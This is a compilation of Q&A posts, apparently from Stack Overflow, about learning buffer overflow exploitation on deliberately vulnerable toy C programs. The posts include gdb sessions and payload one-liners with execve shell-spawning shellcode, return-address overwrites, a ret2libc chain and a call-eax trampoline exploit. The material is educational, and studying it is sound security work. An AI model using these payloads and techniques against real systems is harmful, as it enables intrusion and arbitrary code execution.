GDB Debugging: Passing arguments using IO redirection - c

I am learning how to exploit a buffer overflow. Below is the program I am playing with
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[256];
printf("%p\n", buffer);
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
I compile this program with: gcc -fno-stack-protector -z execstack program.c -o program
I loaded this program in gdb: gdb ./program
If I issue following command: run $(python -c 'print "A" * 3000') It will overwrite the registers as desired:
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffd938 0x7fffffffd938
r8 0x4141414141414141 0x4141414141414141
r9 0x4141414141414141 0x4141414141414141
r10 0x4141414141414141 0x4141414141414141
.....
But if I give arguments to the program using IO redirection registers' values are not overwritten as desired.
fuzz.py
#!/usr/bin/python
print 'A' * 3000
I output all 'A's to file f using fuzz.py > f
I run the program in gdb gdb ./program
Now If I give a argument to program using IO redirection I get abnormal output:
run < f
I get the following error:
Stopped reason: SIGSEGV
__strcpy_sse2_unaligned ()
at ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S:296
296 ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S: No such file or directory.
Why I am getting this error __strcpy_sse2_unaligned while if I pass arguments using run $(python -c 'print "A" * 3000') I will only get SIGSEGV error which I desired.
info registers:
rbp 0x7fffffffe4f0 0x7fffffffe4f0
rsp 0x7fffffffe3d8 0x7fffffffe3d8
r8 0x0 0x0
r9 0xf 0xf
r10 0x5d 0x5d
Why are the registers not overwritten by 'A's?
Q1)
Why are passing arguments in gdb using:
run $(python -c 'print "A" * 3000')
and
run < f
not equal? f is the file which contains 3000 'A's.
Q2)
What is the meaning of this error: __strcpy_sse2_unaligned ()

You are taking input from command line arguments, not the standard input:
strcpy(buffer, argv[1]);
So you should use:
run $(python -c 'print "A" * 3000')
The < redirection would work if you're reading from stdin, for example with scanf.
The __strcpy_sse2_unaligned SIGSEGV is caused by you trying to strcpy from uninitialized memory (argv[1], which is actually NULL since it's argv[argc] in your case). GDB then tries to find the source for that internal function, but fails.

Related

gdb stuck when trying to run buffer overflow exploit

I'm trying to learn buffer overflow but I found myself in dead end. When I want to execute shellcode gdb just stuck and dont react to anything (Ctrl-C, Ctrl-D, Enter, Esc) and I have to close terminal and run everything again. I have this vulnerable program running on Linux 64 bit:
int main(int argc, char **argv) {
char buffer[256];
if (argc != 2) {
exit(0);
}
printf("%p\n", buffer);
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
In gdb:
$ gcc vuln.c -o vuln -g -z execstack -fno-stack-protector
$ sudo gdb -q vuln
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3 #include <stdlib.h>
4
5 int main(int argc, char **argv) {
6 char buffer[256];
7 if (argc != 2) {
8 exit(0);
9 }
10 printf("%p\n", buffer);
(gdb) break 5
Breakpoint 1 at 0x4005de: file vuln.c, line 5.
(gdb) run $(python3 -c 'print("A" * 264 + "B" * 6)')
Starting program: /home/vladimir/workspace/hacking/vuln $(python3 -c 'print("A" * 264 + "B" * 6)')
Breakpoint 1, main (argc=2, argv=0x7fffffffe378) at vuln.c:7
7 if (argc != 2) {
(gdb) cont
Continuing.
0x7fffffffe190
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0x7ffff7b01ef4 140737348902644
rdx 0x7ffff7dd28c0 140737351854272
rsi 0x602260 6300256
rdi 0x0 0
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffe2a0 0x7fffffffe2a0
r8 0xfffffffffffffff0 -16
r9 0xffffffffffffff00 -256
r10 0x60236e 6300526
r11 0x246 582
r12 0x4004e0 4195552
r13 0x7fffffffe370 140737488348016
r14 0x0 0
r15 0x0 0
rip 0x424242424242 0x424242424242
(gdb) run $(python3 -c 'print("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" + "\x90" * 233 + "\x90\xe1\xff\xff\xff\x7f")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/vladimir/workspace/hacking/vuln $(python3 -c 'print("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" + "\x90" * 233 + "\x90\xe1\xff\xff\xff\x7f")')
Breakpoint 1, main (argc=2, argv=0x7fffffffe288) at vuln.c:7
7 if (argc != 2) {
(gdb) cont
Continuing.
0x7fffffffe0a0
After address there is also printed some garbage and as said gdb get stucked. Even if I run program in the same session of gdb, with these two different inputs, the address of buffer somehow changes and I cant think of why. Can someone tell me why gdb stuck and why address is changing? What am I doing wrong?
Each time you run your compiled program, gdb will call the the linker to allocate some space for buffer. There's no guarantee that it will be in the same space each time, and gdb might deliberately put it somewhere else to keep different runs separate.
What you're doing with the C program here is causing an error which is trapped by the operating system and cleaned up. There's a huge gap between causing a simple buffer overflow and being able to use that to run shell commands. You have code to do the first bit, but you need a lot more insight to do the second bit.
If you really want to do this sort of thing, you're going to have to do a fair bit more reading to understand what's going on, and what you might be able to do.
The address changes because the stack pointer upon entering main depends on the total length of the command line arguments. The two python snippets generate data of different lengths.

Chained Return2libc

I am trying to exploit below code using Chained ret2libc attack. I am trying to execute execl('/bin/zsh','/bin/zsh',NULL) function.
To write NULL at the 3rd argument of execl, I have used printf(%5$n).
Code:
int main(int argc, char *argv[]){
char buf[256];
printf("%p",buf);
strcpy(buf, argv[1]);
}
To do this, I have exported 2 ENV variables such as:
user$ export SHELL='/bin/zsh'
user$ export test1='%5$n'
Then I compiled the program as below:
user$ gcc -ggdb -mpreferred-stack-boundry=2 -fno-stack-protector -fomit-frame-pointer -o vuln program.c
After that I opened this executable with gdb:
user$ gdb -q vuln
gdb> break main
gdb> run test
gdb> STOPPED AT BREAKPOINT
gdb> print PRINTF --> got the address of this function
gdb> print EXECL --> got this address
gdb> print EXIT --> got this address too
To get the address of ENV variables, i ran
gdb> x/500s $esp --> kept pressing ENTER and got the address. I also got the exact address of String '/bin/zsh' instead of address of 'SHELL=/bin/zsh' by adding 6. Similarly got the addres of '%5$n'.
To get the address of POP - RET inst, ran objdump -D vuln | grep -A20 pop --> got the address of one pop-ret instruction.
So input to the program looks like:
"A"*256+ printf_address + pop-ret address + '%5$n' address +execl address+ exit address+ '/bin/zsh' address + '/bin/zsh' address+ 3rd argument address.
I calculated 3rd argument address as base_address_of_buffer(printed by program)+256+28 (7 additional 4 bytes blocks)
But after running this program, it goes to execl and gives an error as below
Below is the input and output I am getting:
(gdb) run $(python -c 'print "A"*256+"\xa0\xb8\xe6\xb7"+"\x24\x85\x04\x08"+"\x54\xfe\xff\xbf"+"\x90\xa2\xed\xb7"+"\xf0\x1b\xe5\xb7"+"\x7e\xf5\xff\xbf"+"\x7e\xf5\xff\xbf"+"\x28\xf3\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/himmat/Desktop/vuln $(python -c 'print "A"*256+"\xa0\xb8\xe6\xb7"+"\x24\x85\x04\x08"+"\x54\xfe\xff\xbf"+"\x90\xa2\xed\xb7"+"\xf0\x1b\xe5\xb7"+"\x7e\xf5\xff\xbf"+"\x7e\xf5\xff\xbf"+"\x28\xf3\xff\xbf"')
Breakpoint 1, main (argc=2, argv=0xbffff284) at chained_ret2libc.c:14
14 {
(gdb) cont
Continuing.
process 3720 is executing new program: /bin/zsh4
Breakpoint 1, 0x08053443 in main ()
(gdb) cont
Continuing.
/bin/zsh: can't open input file:
[Inferior 1 (process 3720) exited with code 0177]
(gdb)
Error I am getting
To verify that all functions are being executed and 3rd argument is filled with NULL, refer below image.
Execution of program

How can I exploit a buffer overflow?

I have a homework assignment to exploit a buffer overflow in the given program.
#include <stdio.h>
#include <stdlib.h>
int oopsIGotToTheBadFunction(void)
{
printf("Gotcha!\n");
exit(0);
}
int goodFunctionUserInput(void)
{
char buf[12];
gets(buf);
return(1);
}
int main(void)
{
goodFunctionUserInput();
printf("Overflow failed\n");
return(1);
}
The professor wants us to exploit the input gets(). We are not suppose to modify the code in any way, only create a malicious input that will create a buffer overflow. I've looked online but I am not sure how to go about doing this. I'm using gcc version 5.2.0 and Windows 10 version 1703. Any tips would be great!
Update:
I have looked up some tutorials and at least found the address for the hidden function I am trying to overflow into, but I am now stuck. I have been trying to run these commands:
gcc -g -o vuln -fno-stack-protector -m32 homework5.c
gdb ./vuln
disas main
break *0x00010880
run $(python -c "print('A'*256)")
x/200xb $esp
With that last command, it comes up saying "Value can't be converted to integer." I tried replacing esp to rsp because I am on a 64-bit but that came up with the same result. Is there a work around to this or another way to find the address of buf?
Since buf is pointing to an array of characters that are of length 12, inputing anything with a length greater than 12 should result in buffer overflow.
First, you need to find the offset to overwrite the Instruction pointer register (EIP).
Use gdb + peda is very useful:
$ gdb ./bof
...
gdb-peda$ pattern create 100 input
Writing pattern of 100 chars to filename "input"
...
gdb-peda$ r < input
Starting program: /tmp/bof < input
...
=> 0x4005c8 <goodFunctionUserInput+26>: ret
0x4005c9 <main>: push rbp
0x4005ca <main+1>: mov rbp,rsp
0x4005cd <main+4>: call 0x4005ae <goodFunctionUserInput>
0x4005d2 <main+9>: mov edi,0x40067c
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe288 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffe290 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffe298 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffe2a0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffe2a8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffe2b0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffe2b8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0056| 0x7fffffffe2c0 ("AJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005c8 in goodFunctionUserInput ()
gdb-peda$ patts
Registers contain pattern buffer:
R8+0 found at offset: 92
R9+0 found at offset: 56
RBP+0 found at offset: 16
Registers point to pattern buffer:
[RSP] --> offset 24 - size ~76
[RSI] --> offset 0 - size ~100
....
Now, you can overwrite the EIP register, the offset is 24 bytes. As in your homework just need print the "Gotcha!\n" string. Just jump to oopsIGotToTheBadFunction function.
Get the function address:
$ readelf -s bof
...
50: 0000000000400596 24 FUNC GLOBAL DEFAULT 13 oopsIGotToTheBadFunction
...
Make the exploit and got the results:
[manu#debian /tmp]$ python -c 'print "A"*24+"\x96\x05\x40\x00\x00\x00\x00\x00"' > input
[manu#debian /tmp]$ ./bof < input
Gotcha!

My payload for buffer overflow seems to be not working

I am trying a buffer overflow on the following program:
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]){
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
I used this payload to try overflowing the buffer,
./orc `perl -e 'print"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11'``perl -e 'print "\x90"x9, **"\xac\xfa\xff\xbf"'`**
However, it seems to be not working and only gives me this result.
j
X?Rh//shh/bin??S?訴???????????
Yes, it's almost my first time trying a BOf, and I feel like that the ret adress which is at the end of the payload(bold) seems inaccurate. So, how do you get the ret adress to put at the end of the shellcode? And what does it do?
Thanks in advance :)
I couldn't tell you if your return code is correct or not as I don't know where you're planning on returning.
Compiling this code with "-fno-stack-protector -z execstack" and address ASLR disabled (echo 0 > /proc/sys/kernel/randomize_va_space) my buffer looks like the following:
# ./orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')
Running it up in gdb (gdb --args orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')) and dumping esp (x/100x $esp) shows that it points to the area of the buffer directly after the return address so if you could find a RET %ESP instruction somewhere in memory, having your return address point to it would drop you directly back to your buffer.
To find a suitable return address, you can do the following (again assuming that ASLR has been disabled):
Find the address of the linked libraries - on my box this shows:
# ldd orc
linux-gate.so.1 => (0xb7fff000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e80000)
/lib/ld-linux.so.2 (0x80000000)
Search the address provided for libc (0xb7e80000) for the RET %ESP instruction from within gdb using "find /b [start-search-address], [end-search-address], [stuff-to-search-for]".
# gdb --args orc $(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\xCC"*40')
gdb$ b main
Breakpoint 1 at 0x8048555: file orc.c, line 12
gdb$ r
Breakpoint 1, main (argc=0x2, argv=0xbffff4e4) at orc.c:12
12 if (argc < 2)
gdb$ find /b 0xb7e80000, 0xb7fff000, 0xff, 0xe4
0xb7f88a0f
0xb7f96b73
0xb7f96bf3
...
0xb7f96df3
0xb7f975f3
0xb7f97673
Pick one for the return address - I selected the first one '0xb7f88a0f' which is plumbed into the buffer as '\x0f\x8a\xf8\xb7'.
This should drop you on your buffer which you can verify once again by placing a bunch of breakpoints ('\xCC') in after the return address and running the program in gdb as shown above. Execution should break on the address immediately following your return address. Verify with:
gdb$ x/8x $eip-4
0xbffff43c: 0xb7f88a0f 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff44c: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
You should see your return address at EIP - 4 bytes and the final buffer should look like this (no need for the nops):
$(python -c 'print "A"*56 + "\x0f\x8a\xf8\xb7" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')

How to explain this buffer overflow vulnerability in C

Given this C program:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[1024];
strcpy(buf, argv[1]);
}
Built with:
gcc -m32 -z execstack prog.c -o prog
Given shell code:
EGG=$(printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/df')
The program is exploitable with the commands:
./prog $EGG$(python -c 'print "A" * 991 + "\x87\x83\x04\x08"')
./prog $EGG$(python -c 'print "A" * 991 + "\x0f\x84\x04\x08"')
where I got the addresses from:
$ objdump -d prog | grep call.*eax
8048387: ff d0 call *%eax
804840f: ff d0 call *%eax
I understand the meaning of the AAAA paddings in the middle, I calculated the 991 based on the length of buf in the program and the length of $EGG.
What I don't understand is why any of these addresses with call *%eax trigger the execution of the shellcode copied to the beginning of buf. As far as I understand, I'm overwriting the return address with 0x8048387 (or the other one), what I don't understand is why this leads to jumping to the shellcode.
I got this far by reading Smashing the stack for fun and profit. But the article uses a different approach of guessing a relative address to jump to the shellcode. I'm puzzled by why this more simple, alternative solution works, straight without guesswork.
The return value of strcpy is the destination (buf in this case) and that's passed using register eax. Thus if nothing destroys eax until main returns, eax will hold a pointer to your shell code.

Resources